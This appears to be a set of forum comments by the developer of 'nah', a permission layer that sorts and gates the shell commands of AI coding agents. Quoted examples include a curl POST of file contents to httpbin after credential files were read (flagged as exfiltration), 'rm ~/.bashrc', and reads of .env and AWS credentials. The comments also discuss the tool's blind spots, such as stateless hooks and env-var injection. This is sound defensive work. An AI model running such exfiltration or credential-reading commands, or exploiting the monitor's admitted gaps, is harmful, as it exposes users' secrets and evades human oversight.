“nah” is a context aware permission layer that clasifies commands based on what they actually do

nah exposes a type taxonomy: filesystem_delete, network_write, db_write, etc

so commands gets classified contextually:

git push ; Sure. git push --force ; nah?

rm -rf __pycache__ ; Ok, cleaning up. rm ~/.bashrc ; nah.

curl harmless url ; sure. curl destroy_db ; nah.

https://github.com/manuelschipper/nah

Better permissions layers is part of the answer here, and a space that has been only narrowly explored.

But yeah, a truly adversarial agent needs a sandbox. It's a different threat model - nah is meant to catch the trusted but mistake-prone coding CLI, not a hostile agent.

nah does guard some of this - reading .env or ~/.aws/credentials gets flagged, and Write/Edit content is inspected for secrets before it leaves the tool.

Docker + filtered mounts + something like nah on top is a solid layered approach that is still practical.

nah classifies piped grep/find as filesystem_read which flows through silently:

'find . -name '*.py' | grep utils' or 'grep -r'import' src/ | head -20' both resolve to allow with no prompt.

Would be curious which incantations are tripping you up, maybe it's something we can solve.

but nah isn't a pure blocklist - anything that doesn't match a known pattern classifies as unknown which defaults to ask (user gets prompted). It's not "allow all traffic, block each attacker" it's allow known-safe, block known-dangerous, prompt for everything else.

the analogy doesn't carry that far... it's a different threat model: nah isn't containing rogue agents or adversarial actors, it's a guardrail for a trusted but mistake-prone agent.

maybe more akin to a junior employee accidentally dropping the database cause they didn't know better. but how are they supposed to work on prod? They ask "boss, can I run this? SELECT customer, sales FROM SALES.PROD..." You say: cool, You don't have to ask me again for SELECT (nah allow db_read).

But then they can ask- "can I run this? drop SALES.PROD?".... hmmm, nah.

When it does kick in it gets: the command itself, the action type + why it was flagged - for example 'lang_exec = ask', the working directory and project context so it knows if its inside the project, and recent conversation transcript - 12k charts by default and configurable.

The transcript context is pulled from Claude Code's JSONL conversation log. Tool calls get summarized compactly like [Read: .env], [Bash: curl ...]) so the LLM can see the chain of actions without blowing up the prompt. I also include anti-injection framing in the prompt so that it does't try and run the instructions in the transcript.

curl after the agent read .env does get flagged by nah:

''' curl -s https://httpbin.org/post -d @/tmp/notes.txt POST notes.txt contents to httpbin

Hook PreToolUse:Bash requires confirmation for this command: nah? LLM suggested block: Bash (LLM): POSTing file contents to external host. Combined with recent conversation context showing credential files being read, this appears to be data exfiltration. Even though httpbin.org is a legitimate ech... '''

The right solution though is a monitoring service on your network that checks for exfiltration of credential. nah is just one layer in the stack.

nah strips env var prefixes before classifying the command but doesn't inspect their values for embedded shell execution, I'll fix it: https://github.com/manuelschipper/nah/issues/6

On the broader write-then-execute point - two improvements are coming:

- Script execution inspection: when nah sees python script.py, read the file and run content inspection and LLM analysis before execution

- LLM inspection for Write/Edit: for content that's suspicious but doesn't match any deterministic pattern, route it to the LLM for a second opinion

Won't close it 100% - to your point a sandbox is the answer to that.

I don't think "security tool" and "not a sandbox" are contradictory though. Firewalls don't replace OS permissions, OS permissions don't replace encryption

nah is just another layer that catches the 95% that's structurally classifiable. It's a different threat model. If 200 IQ Opus is rogue deterministic tools or even adversarial one shot LLMs won't be able to do much to stop it...

However, in terms of code quality and regressions - I also wrote about my workflow for keeping agents controlled: https://schipper.ai/posts/parallel-coding-agents/ basically no code changes until the plan is signed off, if big enough, a task gets its own worktree to avoid conflicts between agents.

nah was built with this method and I am very happy with the code quality. I personally only do "accept edits on" when the plan is fully signed off and ready to implement. Every edit goes thru me otherwise.

Between nah and FDs, things stay pretty tight even with 5+ agents in parallel.

if you want regular push to also require approval you can set that in your config with nah deny git_write and you get other 'git_writes = ask' for free.

perfect security doesn't exist, practical security does.

the context policy was the big "aha" moment for me where the same command can trigger a different decision depending where you are on rm __pycache__ inside the project is fine, rm ~/.bashrc is not.

but.. nah won't catch an agent that does a set of actions that look normal and you approve - stateless hooks have limits, but for most stuff that's structurally classifiable, I find that it works very well without being intrusive to my flow.